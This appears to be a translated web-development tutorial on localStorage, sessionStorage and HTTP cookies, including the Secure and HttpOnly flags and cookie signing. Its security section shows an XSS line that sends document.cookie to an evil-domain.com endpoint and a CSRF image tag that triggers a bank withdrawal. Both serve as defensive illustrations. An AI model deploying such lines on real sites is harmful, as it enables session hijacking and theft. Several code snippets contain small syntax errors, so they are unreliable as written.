window.localStorage
The read-only localStorage property allows you to access a Document source object Storage; The stored data is saved in the browser session. LocalStorage is similar to sessionStorage, but the difference lies in that: Data stored in localStorage can be retained for a long time. When the page session ends – that is, when the page is closed, the data stored in sessionStorage is erased.
Whether the data is stored in localStorage or sessionStorage, they are specific to the page’s protocol
Key-value pairs in localStorage are always stored as strings. (In contrast to JS objects, key-value pairs are always stored as strings, meaning numeric types are automatically converted to string types.)
- Local storage object under the current domain name, with a data item added via storage.setitem ()
localStorage.setItem('myCat'.'tom');
Copy the code
- Read the item localStorage
let cat = localStorage.getItem('myCat'); // tom
Copy the code
- Remove the localStorage item
localStorage.removeItem('myCat');
Copy the code
- Remove all localStorage entries
localStorage.clear();
Copy the code
window.sessionStorage
The sessionStorage property allows you to access a sessionStorage object. It is similar to localStorage except that data stored in localStorage does not have an expiration date, while data stored in sessionStorage is cleared when the page session ends. The page session remains as long as the browser is open, and the original page session remains when the page is reloaded or restored.
- Save data to sessionStorage
sessionStorage.setItem('key'.'value');
Copy the code
- Item for sessionStorage
sessionStorage.getItem('key'); // value
Copy the code
- Remove the sessionStorage item
sessionStorage.removeItem('key');
Copy the code
- Remove all sessionStorage items
sessionStorage.clear();
Copy the code
Use the Web Storage API
- SessionStorage maintains a separate storage area for each given source that is available for the duration of the page session (that is, as long as the browser is open, including page reloads and resumes)
- LocalStorage does the same thing, but the data remains after the browser closes and then opens again
The Web Storage API provides mechanisms for browsers to store key/value pairs in a more intuitive way than using cookies.
Cookie
An HTTP Cookie (also known as a Web Cookie or browser Cookie) is a small piece of data that a server sends to a user’s browser and saves locally. It is carried and sent to the server the next time the browser makes a request to the same server. Typically, it is used to tell the server whether two requests are from the same client, such as to keep the user logged in. Cookies make it possible to record stable state information over stateless HTTP protocols.
Cookies are mainly used in three aspects:
- Session state management (such as user login status, shopping cart, game score, or other information that needs to be logged)
- Personalization (e.g., user-defined Settings, themes, etc.)
- Browser behavior tracking (e.g. tracking user behavior, etc.)
Cookies were once used to store data on the client side. As there was no other suitable storage method at that time, cookies were used as the only storage method. However, as modern browsers began to support a variety of storage methods, cookies gradually fell into disuse.
After the Cookie is specified by the server, each browser request carries the Cookie data, which incurs additional performance overhead (especially in the mobile environment). New browser apis already allow developers to store data directly locally, such as Web Storage or IndexedDB
Create a cookie
When the server receives an HTTP request, it can add a set-cookie option to the response header. After receiving the response, the browser usually saves the Cookie and sends the Cookie information to the server through the Cookie request header in each subsequent request to the server. In addition, Cookie expiration time, domain, path and so on can be specified according to need.
Set-cookie response headers and Cookie request headers
The server sends Cookie information to the user agent (typically a browser) using the set-cookie response header. A simple Cookie might look like this:
Set-Cookie: <cookie-name>=<cookie-value>
Copy the code
The server uses this header to tell the client to save the Cookie information
Nodejs sets the set-cookie response header
response.setHeader('Set-Cookie'['type=niaja'.'language=javascript']);
Copy the code
Example: Server response header Settings
HTTP/1.0 200 OK Content-type: text/ HTML set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberryCopy the code
Now, with each request to the server, the browser sends the previously saved Cookie information back to the server via the Cookie request header
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Copy the code
Phase session cookies
A session Cookie is the simplest Cookie: it is automatically deleted after the browser is closed, meaning it is only valid for the session.
A persistent Cookie
Unlike turning off browser session cookies, persistent cookies can specify a specific Expires or max-age.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Copy the code
Note: When the Cookie expiration time is set, the date and time is only relevant to the client, not the server
Secure and HttpOnly flags for cookies
Secure
Cookies marked secure should only be sent to the server through requests that are encrypted by the HTTPS protocol. But even if the Secure flag is set, sensitive information should not be transmitted through cookies, which are inherently insecure. Sensitive information can be stored on the back end, and the server side can be retrieved based on the fields passed in the cookie. Since Chrome52 and Firefox 52, insecure sites (HTTP 🙂 cannot use the cookie secure flag.
HttpOnly
To avoid cross-domain scripting XSS attacks, cookies with the HttpOnly tag cannot be accessed through Javascript document. cookies; they should only be sent to the server. If the Cookie that contains the server Session information does not want to be called by the client JavaScript script, then the HttpOnly flag should be set for it.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Copy the code
Cookie scope
The Domain and Path identifiers define the scope of the Cookie: that is, which urls the Cookie should be sent to. If this parameter is not specified, it defaults to the host of the current document (excluding the subdomain name). If Domin is specified, subdomain names are generally included.
For example, if you set Domain=mozilla.org, cookies are also included in the subdomain (e.g. Developer.mozilla.org)
The Path identifier specifies which paths under the host can accept cookies. The character “/” is used as the Path separator, and the subpaths are matched. For example, if path=/docs is set, the following addresses will match:
- /docs
- /docs/web/
- /docs/web/Http
JavaScript accesses cookies through document.cookies
New cookies can be created through the Document. cookies property, and cookies that are not HttpOnly tagged can be accessed through this property.
document.cookie = 'yummy_cookie=choco';
document.cookie = 'tasty_cookie=strawberry';
console.log(document.cookie); // "yummy_cookie=choco; tasty_cookie=strawberry"
Copy the code
Cookie Security
Session hijacking and XSS
In Web applications, cookies are often used to tag users or authorize sessions. Therefore, if the cookies of Web applications are stolen, the sessions of authorized users may be attacked. Common ways to steal cookies include social engineering attacks and XSS attacks that exploit application vulnerabilities.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
Copy the code
HttpOnly cookies can mitigate some of these attacks by preventing JavaScript from accessing them.
Cross-site Request Forgery (CSRF)
An image in an insecure chat room or forum, for example, is actually a request to your bank’s server to withdraw cash:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Copy the code
When you open an HTML page containing this image, if you have logged into your bank account and the Cookie is still valid (no other verification steps have been taken), your bank money will most likely be transferred automatically. There are ways to prevent this from happening:
- Filtering user input to prevent XSS;
- Any sensitive operation requires confirmation;
- Cookies for sensitive information can only have a short lifetime;
Tamper-proof signature (how cookie is tamper-proof)
The server generates a signature for each Cookie item. If the user tampers with the Cookie, it cannot correspond to the signature, so as to determine whether the data is tampered with
The principle is as follows:
- The server provides a signature algorithm, Secret
- Generate the signature Secret (Wall) = 34Yult8Ab according to the algorithm
- Will generate the signature in the corresponding item Cookie username = wall | 34 yult8ab, among them, the Cookie value and signed with the “|”
- Based on the received content and signatures, the server verifies that the content has not been tampered with
Reference article:
sessionStorage
localStorage
cookie
Cookie anti-tamper mechanism